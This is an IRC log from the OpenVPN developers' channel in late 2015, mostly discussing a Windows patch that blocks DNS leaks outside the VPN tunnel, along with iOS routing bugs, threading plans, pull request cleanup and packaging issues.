ValdikSS> janjust: they technically work as redirect-gateway def1, but works on apple. 15:15 <@mattock1> methamp: take care! 15:15 <@cron2_> methamp: it's not the "chatting as user" but "interrupting an ongoing discussion" 15:15 <@mattock1> =a community meeting 15:15 <@mattock1> scheduled one to be exact 15:16 < methamp> I didn't get the memo. I'll stop typing now. 15:16 <@cron2_> mattock1: so he already raised the issue - this is important to know :) 15:16 <@mattock1> methamp: np 15:16 <@cron2_> methamp: it's basic well-behaviour: before starting to type, look what's happening. If this looks like a discussion, maybe wait for it to end? 15:16 < ValdikSS> Well, I don't think that's an issue. We should use another channel if we don't want to get interruped. 15:16 <@mattock1> ok so back to the WIndows 10 DNS fix 15:16 <@cron2_> it was really impolite and inconsiderate 15:17 < ValdikSS> I don't think so. Whatever. 15:17 <@cron2_> well, I completely lost track of my review, so thanks a lot 15:17 * cron2_ goes fetch a beer now 15:17 <@mattock1> let's not sabotage our own discussion any further 15:17 <@mattock1> now there's an idea :) 15:17 <@mattock1> it seems jamesyonan is unable to join, nickserv is playing tricks with him 15:18 < ValdikSS> Should block-outside-dns use OPT_P_IPWIN32 to make it possible to ignore server push with route-nopull? 15:19 < ValdikSS> Should it always block outside DNS even if no DNS is assigned? 15:19 < ValdikSS> no DNS inside tunnel* 15:21 <@syzzer> ValdikSS: yes, I think it should. I the user doesn't want to block, (s)he should simply not push or enable the option 15:21 <+janjust> mattock1, I've created a channel #openvpn-meeting, can james connect to that? 15:21 <@mattock1> janjust: I'll ask 15:21 < ValdikSS> Well, it should be blocked with route-nopull then 15:22 < ValdikSS> I just think about it from a point of view of VPN service. User may want to do route-nopull and not to have blocked DNS. 15:23 <@syzzer> makes sense to me (but, I'm not really the networking authority here...) 15:23 <@mattock1> cron2: thoughts? 15:24 <@mattock1> guys: jamesyonan joined #openvpn-meeting channel 15:24 <@cron2_> IPWIN32 is good 15:24 <+janjust> all: I've created a channel #openvpn-meeting where james could join 15:24 <@mattock1> let's move over there 15:24 <@mattock1> he has vested interested in ValdikSS's patch 15:57 <+janjust> !book 15:57 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2! 15:58 <+janjust> hm 16:29 < methamp> ValdikSS: Thanks again for your input. Unfortunately, I'm still enable to resolve it. I've got about 30 tabs open on the issue, tried route-nopull, redirect-gateway, commenting out ipv6 tun... couple other things. I'll keep searching now that I know what's causing it. Tried about 10 different ovpn configs -- I'm going to give it a rest for now. :-P 16:29 < methamp> Thanks again to everyone -- and I hope the meeting went well. 16:30 -!- methamp [mh@greyhat.pw] has left #openvpn-devel ["Textual IRC Client: www.textualapp.com"] 16:48 -!- chron0 [~chrono@unaffiliated/chron0] has joined #openvpn-devel 16:48 < chron0> ahoy 16:48 < chron0> how are the plans to get threading support into openvpn to leverage the current and next generation arms in order to cope with 100mbit+ vpn links? 16:49 <@plai> currently no 16:50 < chron0> yes, I know it's currently implemented, but there sure must be some plan/concept to carry openvpn into the future... 16:50 < chron0> NOT implemented :) 16:52 <@plai> probably never going to be happening in 2.x due to lack of time of the current developers/maintainers 16:52 <@syzzer> there have been attempts, but those failed. the current most likely implementation of threading is openvpn 3, which is a complete rewrite of openvpn and not yet publicly available. 16:52 <@plai> and OpenVPN Inc is doing a complete rewrite from scratch in C++ 16:54 <@plai> although there is currently work going to implement AES GCM whihc should speed up things 17:00 < ValdikSS> https://github.com/ValdikSS/openvpn-with-patches/commit/ce580f983345dfbb8d900df2fb1b1300569c1f17 17:00 <@vpnHelper> Title: v2. · ValdikSS/openvpn-with-patches@ce580f9 · GitHub (at github.com) 17:28 < chron0> plai: syzzer: that's great to hear, thanks for the info guys 17:29 < chron0> don't get me wrong here, I'm not one of those people going around and demanding stuff from people who give (part of) their lifetime to make stuff and keep it accessible to everyone 17:30 < chron0> back in the day openvpn was a neat tool, convenient, reliable and really easy to set up 17:30 < chron0> but post-snowden, at least to me and many other people I know has become more of a neccessity 17:33 < chron0> and due to other constraints, in my case power/electricity I need to make due with quad-core ARMs that draw 2W instead of running an x86_64 based big rig and have a single core openvpn instance running to get the bandwidth handled - but drawing 150+ W :) 17:35 < chron0> so I'll be looking forward to test AES GCM and 3.0 as soon as they're somehow available 18:09 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 18:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 18:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:39 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Remote host closed the connection] 19:55 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 23:03 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 250 seconds] 23:03 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 23:03 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Tue Oct 27 2015 02:34 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:39 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 07:12 < lev__> did anybody upgrade to 15.10? I got "line 81: aclocal-1.14: command not found" when trying to build OpenVPN 07:12 <@syzzer> lev__: yes, I did 07:12 <@syzzer> re-run autoreconf -vi 07:13 < lev__> syzzer: works, thanks! 07:38 < lev__> ValdikSS: I got compiler warning that FWPM_SESSION_FLAG_DYNAMIC from win32.h has already been defined in Fwpmtypes.h 08:13 < ValdikSS> lev__: well, yes, it should be in msvs 08:13 < ValdikSS> lev__: or are you talking about mingw? 08:14 < lev__> msvs 08:23 < ValdikSS> lev__: so is it ok or should I make ifdefs to remove that warning? 08:25 < lev__> ValdikSS: no warnings is better 08:25 < lev__> ValdikSS: check mail 09:53 < ValdikSS> Windows with enabled dnscache service uses said service for DNS queries, and caches it. This service is started with svchost.exe. If this service is disabled, the application resolves DNS by itself with loaded DLL. 09:53 < ValdikSS> DNS Leak fix blocks svchost.exe, thus not preventing DNS leaks in case when dnscache service is disabled. Should I add additional option to block all traffic to port 53? 09:54 < ValdikSS> I don't know why somebody would disable dnscache and I don't think anyone really does this, but still. 09:56 <@cron2_> can you filter on "I don't care who sends DNS packets, as long as they are not sent over the tap interface -> block"? 09:56 <@cron2_> what are the drawbacks of not filtering on svchost.exe? 09:56 < ValdikSS> cron2_: I can't filter only DNS packets, that requires a driver. 09:56 < ValdikSS> cron2_: the drawbacks are dns leaks if dnscache service is disabled. 09:57 <@cron2_> that is the drawback of *filtering* on svchost.exe, not of *not* filtering on it 09:57 <@cron2_> why can't you filter on "UDP 53"? 09:57 <@cron2_> that should be good enough... "UDP 53, not tap -> drop" 09:57 < ValdikSS> cron2_: because that would broke other applications using UDP 53 not for DNS. 09:57 <@cron2_> Applications doing so need to die in flames 09:57 <@cron2_> and we can document that 09:57 < ValdikSS> no 09:58 < ValdikSS> cron2_: one of plugin users created an issue. He has OpenVPN running on UDP 53 and he can't access it with plugin enabled. 09:58 <@cron2_> yes, we can :-) "if this option is used, it will block UDP/53 on all interfaces but the tap interface" 09:58 < ValdikSS> cron2_: I can't reproduce his issue (I use OpenVPN on port 53 UDP too) 09:58 <@cron2_> now that is easy - add an exclusion entry for openvpn itself 09:58 < ValdikSS> cron2_: Surprisingly, It didn't work 09:59 < ValdikSS> cron2_: I mean, routing in Windows doesn't work the way it works on unix. It worked for me even without any additional rules. 09:59 < ValdikSS> cron2_: but that guy who created an issue said it doesn't work for him even with openvpn.exe whitelisted. 10:00 < ValdikSS> Routing on Windows is stateful. It remembers the route even if the route changed or deleted. 10:01 < ValdikSS> I mean, redirect-gateway works even if you don't add a route to server's ip via internet interface. It would remember that. 10:01 < ValdikSS> But not in that guy case. 10:02 < ValdikSS> Anyway, I want to be able to use OpenVPN on port 53 UDP with block-outside-dns 10:04 < lev__> so, have to decide what is better for users - leaking DNS with disabled dnscache or broken apps on udp 53 10:05 < ValdikSS> lev__: we could add additional optional parameter to block only svchost.exe (default) or all 53 port traffic. 10:05 <@cron2_> break apps on port 53 10:05 <@cron2_> document it 10:05 <@cron2_> live on 10:06 < ValdikSS> cron2_: it would break nslookup 10:06 <@cron2_> I thought the whole purpose is to break DNS queries on all interfaces but tap? 10:06 < ValdikSS> cron2_: Yes, _dns queries_. 10:07 <@cron2_> UDP/53 is DNS. If someone else is abusing this for other protocols, fine with me, but while OpenVPN is running, this will not work. Document, done. 10:07 < ValdikSS> cron2_: not the other applications using 53 port. I'm running OpenVPN on port 53 and I don't want it to break 10:08 < ValdikSS> cron2_: It's pretty easy for me to add an additional parameter. I want to listen to other opinions. 10:08 <@cron2_> I don't want extra parameters that need testing and cause extra bug reports "this combination of 5 obscure options breaks platform z" 10:09 < ValdikSS> I'd like to add additional parameter and not to break existing openvpns on port 53 even if this is considered a bad practice. 10:09 <@cron2_> if you run multiple openvpn at the same time(!), and one of them is using udp/53 while the other is blocking DNS, this should be really *really* rare, no? 10:09 <@cron2_> But anyway, if you can have a rule for svchost.exe, why can't you have a rule that permits openvpn.exe to do whatever it wants? 10:10 < ValdikSS> cron2_: As I said, it doesn't work in some cases and I don't know why. 10:11 < ValdikSS> cron2_: It works for me all the time even without whitelisting openvpn.exe, but read this https://github.com/ValdikSS/openvpn-fix-dns-leak-plugin/issues/2 10:11 <@vpnHelper> Title: OpenVPN running on port 53 is not accessible with this plugin · Issue #2 · ValdikSS/openvpn-fix-dns-leak-plugin · GitHub (at github.com) 10:12 < ValdikSS> I can't reproduce that persons issue. OpenVPN still works for me on port 53 even if I block all the traffic to port 53 (as I said, windows routing stuff). 10:14 < mator> does openvpn supports SNI ? http://blog.manty.net/2014/12/haproxy-as-very-very-overloaded-sslh.html 10:14 <@vpnHelper> Title: manty's blog: haproxy as a very very overloaded sslh (at blog.manty.net) 10:14 < mator> ValdikSS, but why port 53 ? not 443 for example where you could use sslh/haproxy ? 10:15 < ValdikSS> mator: I use port 443 TCP too. 10:28 < ValdikSS> Another thing is that blocking port 53 would break multicast dns like mdns/zeroconf/avahi 11:42 <@cron2_> well. what is it that you want? block all external DNS activities, or not? you decide :) 11:43 <@cron2_> mator: no SNI support in OpenVPN (not that I see *that* much value in running multiple different "virtual" OpenVPN instances on the same public IP...) 11:54 < ValdikSS> cron2_: https://github.com/ValdikSS/openvpn-with-patches/commit/b76f7619723661056f635c9303840f217df3c90b 11:54 <@vpnHelper> Title: v3. · ValdikSS/openvpn-with-patches@b76f761 · GitHub (at github.com) 11:54 < ValdikSS> cron2_: now it blocks all the traffic to TCP/UDP port 53 except for OpenVPN and allows all traffic to TCP/UDP port 53 inside TAP. 11:54 < ValdikSS> cron2_: works with OpenVPN on port 53! 11:58 <@cron2_> cool! 11:58 <@cron2_> thanks :) 11:58 <@cron2_> (so, yes, someone will still complain that his wonderful other-vpn-over-53 app is now broken... but we'll just document it and point to it, done) 11:58 < ValdikSS> cron2_: actually I was wrong about 'strange Windows routing' 11:59 < ValdikSS> cron2_: that guy is right, it didn't work if OpenVPN is on port 53. 11:59 < ValdikSS> cron2_: Actually, I don't know why it doesn't work. If I add rule to allow all traffic from OpenVPN, it won't work. If I add rule to allow traffic to port 53 from OpenVPN, it works. 12:00 < ValdikSS> cron2_: debugging WFP rules is pretty hard as you can't see the rules in a firewall. 12:01 < ValdikSS> cron2_: But, well, now it works. lev__, can you test it? Should also work with 32 bit OpenVPN on 64 bit system. 12:02 < ValdikSS> Some questions remain. Should I add ANSI support (TCHAR instead of wchar_t, A-finctions instead of W) or it's fine if it works only with unicode support? 12:03 < ValdikSS> I doubt someone would compile it without Unicode support but it seems that the rest of OpenVPN supports ANSI. 12:42 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 13:19 < mator> updated my vmware solaris from 11.2 to 11.3 13:19 * mator & off to home 14:10 < lev__> ValdikSS: I will test tomorrow when I'll get to windows box 14:11 < lev__> ValdikSS: looks like 32/64 bit is not an issue, cool 15:00 <@cron2_> ValdikSS: same style as the rest of the windows code, whatever that is, please 15:18 <@cron2_> hargn... my server test rig failed a few tests polar<->openssl... consistently... 15:18 <@cron2_> but... 15:18 <@cron2_> ... this was because the server saw "oh, client can do snappy!" and did "compress snappy, push compress snappy"... 15:19 <@cron2_> ... which worked for ages... until we removed snappy from the *server* end (always running git master)... 15:37 < ValdikSS> cron2_: tchar is used only in service and wchar is used only in some places of openvpn. 16:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 17:18 -!- movrax [movrax@gateway/shell/anapnea.net/x-jwtvclikfgvuovyz] has joined #openvpn-devel --- Day changed Wed Oct 28 2015 00:09 -!- woodrow [sid13914@gateway/web/irccloud.com/x-dctxvoliehthozyr] has joined #openvpn-devel 01:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:58 < ValdikSS> http://article.gmane.org/gmane.network.openvpn.devel/10426 04:25 -!- dazo_afk is now known as dazo 04:39 <@dazo> ValdikSS: I can really recommend configuring git-email (git send-mail) .... that gives perfect mail submissions, and it isn't that hard to configure either 04:39 <@dazo> Of course, I have hope that you'll submit even more patches too ;-) 04:39 < ValdikSS> dazo: I followed git man on how to configure thunderbird and I though it would be fine 04:40 <@dazo> ValdikSS: yeah, unfortunately thunderbird is known for being unpredictable on rewrapping ... especially if there are add-ons involved 04:41 <@dazo> I'd guess it's enigmail who is the real offender this time 04:45 <@cron2_> given how broken all the mail clients have become, I can see why people prefer github pull requests... 04:45 * cron2_ silently cries into his coffee 04:54 < mator> it will be salted 04:54 < mator> cron2_, mutt is not broken ? 04:55 <@dazo> bitter-sweet coffee ..... 05:13 <@cron2_> mator: mutt is broken in different ways, like "mostly unusable S/MIME support" 05:13 <@cron2_> (and sort of "leaves to be improved" IMAP support) 05:14 < mator> though i still think mutt is the best text client, sometimes it is more usefull than GUI clients 05:15 < lev__> ValdikSS: I've noticed an interesting side effect. With single network adapter (eth) and --block-outside-dns option DNS resolution takes about 12 sec (checked timing with curl). Does not happen without that option or with WiFi adapter. 05:15 * cron2_ uses mutt almost exclusively :-) - so I agree, but it still sucks 05:16 < ValdikSS> lev__: is it reproducible all the time or just only after connect? 05:16 < lev__> all the time 05:16 < ValdikSS> lev__: could it be that curl doesn't use Windows DNS resolver? 05:17 < lev__> same with ping and chrome 05:18 < ValdikSS> lev__: It hangs for 10-15 seconds after connecting vpn for me but then it works fine 05:18 < lev__> I wonder how this can be explored futher 05:18 < lev__> with ethernet? 05:18 < lev__> don't know why there is difference 05:31 < lev__> is also happens when dnscache is off 05:34 < ValdikSS> lev__: what dns servers do you have on your ethernet? 05:34 < ValdikSS> lev__: a local ones (from the local segment) or an internet ones? 05:36 < lev__> I tried on two networks, one has local ones and another one google dns 05:36 < lev__> did you manage to reproduce it 05:42 < lev__> heh, http://superuser.com/questions/969171/multihomed-windows-10-dns-resolution-timeouts If one of the DNS queries will time-out, this means a 10-seconds wait before the DNS is resolved. 05:42 <@vpnHelper> Title: Multihomed Windows 10 DNS resolution timeouts - Super User (at superuser.com) 06:00 <@cron2_> does the current filter silently drop the packet ("timeout") or send back an ICMP error ("app can quickly notice that this is not going to work and try other servers")? 06:00 <@cron2_> in linux -j drop vs. -j reject 06:08 < ValdikSS> lev__: it should not work that way on windows 10 06:08 < ValdikSS> lev__: at least not with smart dns enabled 08:03 < lev__> cron2_: have to dive into WFP to answer that 09:00 < lev__> I see no icmp response in wireshark and WFP does not mention it, so I'd assume it silently drops 09:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 09:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:20 <@dazo> [OT] - https://www.youtube.com/watch?v=YSAqTdc-Y2g 10:27 <@plai> Like the the comment "Der Witz ist aber schon ein bisschen ausgelaugt mittlerweile. 10:28 <@plai> Which is a nice wordplay on Lauge (alkonoid) and ausgelaugt (old stale (for news/jokes)) 10:28 <@dazo> plai: that's probably true in Germany ;-) 10:28 <@dazo> ahhh! 10:28 <@plai> also #summacumlauge! 11:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:04 <@syzzer> can someone with suffient rights close https://github.com/OpenVPN/openvpn/pull/36 ? 15:04 <@vpnHelper> Title: Release/2.3 by wyyfeeling · Pull Request #36 · OpenVPN/openvpn · GitHub (at github.com) 15:05 <@syzzer> that one is just nonsense 15:12 <@syzzer> this one can be closed too: https://github.com/OpenVPN/openvpn/pull/24 15:12 <@vpnHelper> Title: __func__ is not supported on Visual Studio 2010. Replace it with a macro by ltfish · Pull Request #24 · OpenVPN/openvpn · GitHub (at github.com) 15:16 <@syzzer> one more to close: https://github.com/OpenVPN/openvpn/pull/15 15:16 <@vpnHelper> Title: Fix typo in build script to use LDFLAGS by kangsterizer · Pull Request #15 · OpenVPN/openvpn · GitHub (at github.com) 15:35 <@dazo> done 16:28 -!- dazo is now known as dazo_afk --- Day changed Thu Oct 29 2015 02:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:21 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:11 -!- dazo_afk is now known as dazo 07:24 <@cron2_> mmmh, iOS 9.1 update 07:25 * plai replied to 3 year old github issues :) 09:46 < ValdikSS> cron2_: did they fix vpn? 09:47 < ValdikSS> cron2_: I changed my server configuration from pushing redirect-gateway to 2 routes and 1 route for the server itself, works fine 11:10 <@cron2_> ValdikSS: I have not heard anything specific, and the release notes do not mention anything - but there's "click here for the security updates" bit which does not mention 9.1 yet 11:10 <@cron2_> testing soon 11:12 < ValdikSS> cron2_: well, maybe it's better to temporary set 2 routes if iOS client gets redirect-gateway pushed? 11:13 <@cron2_> well, the problem is that getting a new release of iOS OpenVPN out takes about 6 weeks, because all VPN apps need to be reviewed and signed by their security team (otherwise, no access to the VPN API)... 11:13 <@cron2_> so working around iOS bugs in OpenVPN can be slower than actually getting Apple to fix it 11:13 < ValdikSS> cron2_: that's disgusting 11:15 <@cron2_> well, the fact that they really closely review apps that can steal other apps' traffic is a very good thing 11:15 <@cron2_> bugs in the VPN API are very annoying, yes... (ask plai about bugs in Android :) ) 11:16 < ValdikSS> cron2_: I stumbled upon Android bugs on my own. 11:34 <@plai> ValdikSS: <= 11:35 <@plai> my app should warn/workaround most of them 11:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 11:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:25 < ValdikSS> plai: yes, OpenVPN Connect for Android works very good almost always. 15:11 <@plai> ValdikSS: now you mixed the client names :p 15:11 < ValdikSS> plai: ? 15:12 <@plai> there is OpenVPN Connect and OpenVPN for Android 15:14 < ValdikSS> plai: You mean android client from Arne? 15:14 < ValdikSS> plai: I was talking about OpenVPN Connect (Android version) 15:17 <@cron2_> but plai was talking about OpenVPN for Android :) 15:22 < ValdikSS> Guys, has anyone tested dns leak patch except lev__? 15:31 <@plai> ValdikSS: I am Arne, btw ;) 15:32 < ValdikSS> plai: hah, cool! 15:33 < ValdikSS> I'm very bad at remembering names so it's no surprise I don't remember that 15:35 < ValdikSS> And I'm bad in English too :( 15:44 <@mattock1> ValdikSS: no you're not 15:44 <@mattock1> I've seen much, much, much, much worse :) 15:45 <@mattock1> like: "Subject: help plz. Message body: vpn. Sent from my iPhone." 15:46 <@mattock1> :D 15:49 < ValdikSS> mattock1: well, it's still ashamed of my grammar 15:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 20:42 -!- dazo is now known as dazo_afk --- Day changed Fri Oct 30 2015 02:45 <@cron2_> http://xkcd.com/1597/ - someone has been listening to dazo and me 02:45 <@vpnHelper> Title: xkcd: Git (at xkcd.com) 02:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 03:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:32 <@mattock1> http://xkcd.com/865/ 04:32 <@vpnHelper> Title: xkcd: Nanobots (at xkcd.com) 05:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 05:15 -!- dazo_afk is now known as dazo 05:16 -!- dazo is now known as dazo_afk 06:03 -!- dazo_afk is now known as dazo 06:06 <@dazo> cron2_: maybe we should add that xkcd to !git? ;-) 06:08 <@cron2_> +1 :) 07:51 <@ecrist> !git 07:51 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 07:51 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 07:51 <@ecrist> !learn git as http://xkcd.com/865/ 07:51 <@vpnHelper> Joo got it. 07:51 <@ecrist> !git 07:51 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 07:51 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr or (#7) http://xkcd.com/865/ 07:52 -!- love-geek [~jas@ns360088.ip-91-121-162.eu] has joined #openvpn-devel 07:54 < love-geek> hi, I would like to make translations for openvpn gui to Ukrainian language 08:14 <@ecrist> love-geek: stick around and one of the developers more familiar with your need can help. 08:21 <@cron2_> valdikss or lev__ might be able to explain how that is done 08:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:47 -!- love-geek [~jas@ns360088.ip-91-121-162.eu] has quit [] 09:15 -!- reators [~holger@2001:1a80:2000:2:609d:ffef:7eb:d2c4] has quit [Quit: Leaving.] 14:26 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer] 16:05 -!- dazo is now known as dazo_afk 16:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 18:30 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 22:45 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 256 seconds] --- Day changed Sat Oct 31 2015 00:09 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 00:11 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 07:29 < ValdikSS> and he left 07:29 < ValdikSS> I know Ukrainian a bit 11:44 -!- chron0 [~chrono@unaffiliated/chron0] has quit [Ping timeout: 240 seconds] 11:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:44 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:45 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 11:45 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 11:46 -!- chron0 [~chrono@unaffiliated/chron0] has joined #openvpn-devel 11:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:15 <@ecrist> ValdikSS: Can you email him? do170984dka@gmail.com 17:16 <@ecrist> I'd hate an enthusiastic contributor leave without a chance to actually help. 18:41 < ValdikSS> ecrist: I will 18:48 < ValdikSS> ecrist: mailed him 20:58 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 21:06 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Sun Nov 01 2015 00:14 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 256 seconds] 00:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 03:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 04:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:40 < ValdikSS> Did anyone test leak fix? 14:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 17:01 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 252 seconds] 18:37 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 18:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Mon Nov 02 2015 01:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:16 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 02:16 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:49 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 03:54 <@vpnHelper> RSS Update - tickets: #624: Get the Best and Cheapest Weight loss Supplement is Pure Garcinia Cambogia <https://community.openvpn.net/openvpn/ticket/624> 04:06 <@vpnHelper> RSS Update - wishlistfeed: OpenVPN for linux <http://forums.openvpn.net/topic20070.html> 04:24 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 256 seconds] 04:31 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o pekster] by ChanServ 06:00 <@vpnHelper> RSS Update - tickets: #624: Spam <https://community.openvpn.net/openvpn/ticket/624> 06:12 <@vpnHelper> RSS Update - tickets: #625: Givenchy Antigona Bag winter Prices <https://community.openvpn.net/openvpn/ticket/625> 06:24 <@vpnHelper> RSS Update - tickets: #625: SPAM <https://community.openvpn.net/openvpn/ticket/625> 08:28 <@ecrist> sounds like our spam filter needs some help. 08:31 <@cron2> ecrist: while I have your attention :-) - your server is missing the snapshots 34...42, but the port wants to download 201541... 08:31 * ecrist looks 08:31 <@ecrist> ftp or ftp2? 08:32 <@ecrist> oh, btw, captain fucky, who comitted my port change, went above me and added snappy back in to the port for 41 08:32 <@ecrist> he claimed it wouldn't build without it, which was bullshit 08:37 <@ecrist> cron2: ftp show all those files available. 08:37 <@ecrist> and, to be honest, I can't build and submit a port where the distfile is missing since makesum actually fetches the distfile from the distribution source 08:38 <@ecrist> however, ftp2 is missing some files 08:39 <@ecrist> pushing those now 08:46 <@cron2> ah. Yes, I only checked ftp2, as that was the one I had issues with (and did not check all the sources). Good that you have two copies :) 08:46 <@cron2> mmmh, 08:46 <@cron2> adding snappy to 41 is a bit funny... maybe it bombed on "saved options" for someone 08:48 <@ecrist> yeah, not sure. 08:49 <@ecrist> I was pretty pissed because I'm the maintainer, he's supposed to defer to me 08:49 <@ecrist> he just made a unilateral decision. 08:59 <@cron2> yeah, I can share that sentiment :) 09:38 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 09:39 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 09:39 -!- Netsplit *.net <-> *.split quits: @cron2, @pekster, @syzzer, arlen 09:46 <@ecrist> cron2_: the packages should all exist on both systems now. 09:47 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 09:50 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 09:50 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:04 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 11:35 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 246 seconds] 11:36 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 14:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Tue Nov 03 2015 01:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:58 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: 